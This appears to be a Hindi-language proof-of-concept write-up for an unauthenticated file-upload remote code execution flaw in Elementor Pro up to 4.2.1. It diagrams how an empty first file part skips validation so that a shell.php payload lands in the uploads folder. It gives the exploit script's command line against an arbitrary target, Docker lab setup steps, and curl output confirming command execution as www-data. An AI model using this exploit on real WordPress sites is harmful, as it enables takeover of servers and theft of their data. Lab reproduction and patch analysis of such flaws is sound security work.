बिना प्रमाणीकरण वाला आगंतुक
        │
        ▼
Elementor फ़ॉर्म पेज (फ़ाइल अपलोड फ़ील्ड)
        │
        ▼
multipart/form-data POST → admin-ajax.php
        │
        ├── भाग #1: खाली फ़ाइल
        │      └─► validation(): UPLOAD_ERR_NO_FILE → return   ◄── सत्यापन यहीं रुक जाता है
        │
        └── भाग #2: shell.php
               └─► कभी टाइप-जाँच नहीं की जाती
                       │
                       ▼
               process_field(): continue → .php पेलोड को फिर भी स्थानांतरित करता है
                       │
                       ▼
        wp-content/uploads/elementor/forms/<uniqid>.php
                       │
                       ▼
              उस URL को GET करें  ⇒  RCE

validation()                              process_field()
────────────                              ──────────────
foreach files as file:                    foreach files as file:
    if empty(file):                           if empty(file):
        add_error(...)                            continue          ◄─ केवल इस प्रविष्टि को छोड़ता है
        return                                move_uploaded_file(...)  ◄─ बाकी को स्थानांतरित करता है

// validation()
if ( ! $field['required'] && UPLOAD_ERR_NO_FILE === $file['error'] ) {
    return;                                   // ← पूरे लूप को रोक देता है
}

// process_field()
if ( UPLOAD_ERR_NO_FILE === $file['error'] ) {
    continue;                                 // ← केवल इस प्रविष्टि को छोड़ता है
}
...
$file_extension = pathinfo( $file['name'], PATHINFO_EXTENSION );
$filename = uniqid() . '.' . $file_extension; // हमलावर-नियंत्रित एक्सटेंशन बच जाता है
move_uploaded_file( $file['tmp_name'], $new_file );

python3 el_rce_poc.py --url http://TARGET \
    --page-url http://TARGET/upload-form/ \
    --command "id; hostname; uname -a"

मनमाना अपलोड प्रिमिटिव   →   PASS / FAIL
फ़ाइलनाम पुनर्प्राप्ति (uniqid)   →   PASS / PARTIAL
RCE पुष्टि             →   PASS (उपरोक्त दोनों सफल)

# 1) WordPress + MariaDB शुरू करें
docker compose up -d
# DB के लिए ~30s प्रतीक्षा करें, फिर WordPress इंस्टॉल करें
docker compose run --rm wpcli wp core install \
    --url=http://localhost:8090 --title="Lab" --skip-email \
    --admin_user=admin --admin_password=admin123! [email protected]

# 2) मुफ्त Elementor इंस्टॉल करें
docker compose run --rm wpcli wp plugin install elementor --activate

# 3) भेद्य Elementor Pro (<= 4.2.1) इंस्टॉल करें।
#    Elementor Pro एक भुगतान वाला प्लगइन है — अपना कानूनी रूप से प्राप्त
#    elementor-pro.zip (जैसे 4.2.1) पहले docker-compose.yml के बगल में रखें:
docker compose run --rm wpcli wp plugin activate elementor-pro \
    || docker compose exec wordpress bash -c \
       "cd wp-content/plugins && unzip -o /var/www/html/epr.zip"

# 4) फ़ॉर्म पेज बनाएं (PoC रिपॉजिटरी setup_form_page.php भेजती है):
docker cp setup_form_page.php wp-lab:/tmp/setup.php
docker compose exec wordpress php -r 'require "/var/www/html/wp-load.php"; include "/tmp/setup.php";'

# 5) PoC चलाएं
python3 el_rce_poc.py --url http://localhost:8090 --page-url "http://localhost:8090/?page_id=<ID>"

$ ls wp-content/uploads/elementor/forms/
6a8cebf002529.php

$ curl http://localhost:8090/wp-content/uploads/elementor/forms/<uniqid>.php \
    -H "X-CMD: $(echo 'id && hostname' | base64)"
POC-RCE-OK
uid=33(www-data) gid=33(www-data) groups=33(www-data)
26564238432c